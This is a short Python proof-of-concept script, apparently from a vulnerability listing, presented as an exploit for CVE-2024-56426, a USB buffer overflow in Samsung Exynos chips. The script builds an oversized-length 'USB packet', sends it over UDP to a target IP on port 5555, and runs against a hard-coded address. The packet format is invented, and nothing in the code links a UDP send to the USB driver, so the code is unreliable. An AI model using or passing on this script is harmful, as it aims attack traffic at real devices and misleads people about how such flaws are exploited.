CVE-2024-56426 Samsung Exynos处理器USB数据包缓冲区溢出漏洞

# CVE-2024-56426 PoC - Malformed USB Packet Generator # This PoC demonstrates generating a malformed USB packet with oversized length field # Target: Samsung Exynos processors (980, 990, 850, 1080, 2100, 1280, 2200, etc.) import struct import socket def create_malformed_usb_packet(target_device_id): """ Create a malformed USB packet to trigger out-of-bounds write The packet exploits missing length check in USB driver """ # USB packet header structure PACKET_TYPE_CONTROL = 0x00 PACKET_TYPE_BULK = 0x02 # Malformed length value - exceeds normal buffer size # This triggers out-of-bounds write when driver doesn't validate MALFORMED_LENGTH = 0xFFFF # 65535 bytes - way beyond expected size # Construct malicious USB packet packet = bytearray() # USB Request Block (URB) header packet.extend(struct.pack('<B', PACKET_TYPE_BULK)) # Packet type packet.extend(struct.pack('<H', target_device_id)) # Device ID packet.extend(struct.pack('<I', MALFORMED_LENGTH)) # Malformed length field # Add payload data (minimal - exploit is in the length field) packet.extend(b'A' * 64) # Small payload data return bytes(packet) def exploit_cve_2024_56426(target_ip, target_port=5555): """ Send malformed USB packet to trigger CVE-2024-56426 Requires USB debugging interface to be exposed """ print(f"[*] Generating malformed USB packet for CVE-2024-56426") print(f"[*] Target: {target_ip}:{target_port}") # Create malformed packet packet = create_malformed_usb_packet(target_device_id=0x1234) print(f"[*] Malformed length field: 0xFFFF (65535 bytes)") print(f"[*] Sending malicious packet...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) sock.close() print("[+] Malformed packet sent successfully") print("[!] Target may have triggered out-of-bounds write vulnerability") except Exception as e: print(f"[-] Error sending packet: {e}") # Execute exploit if __name__ == "__main__": # Replace with actual target IP exploit_cve_2024_56426("192.168.1.100")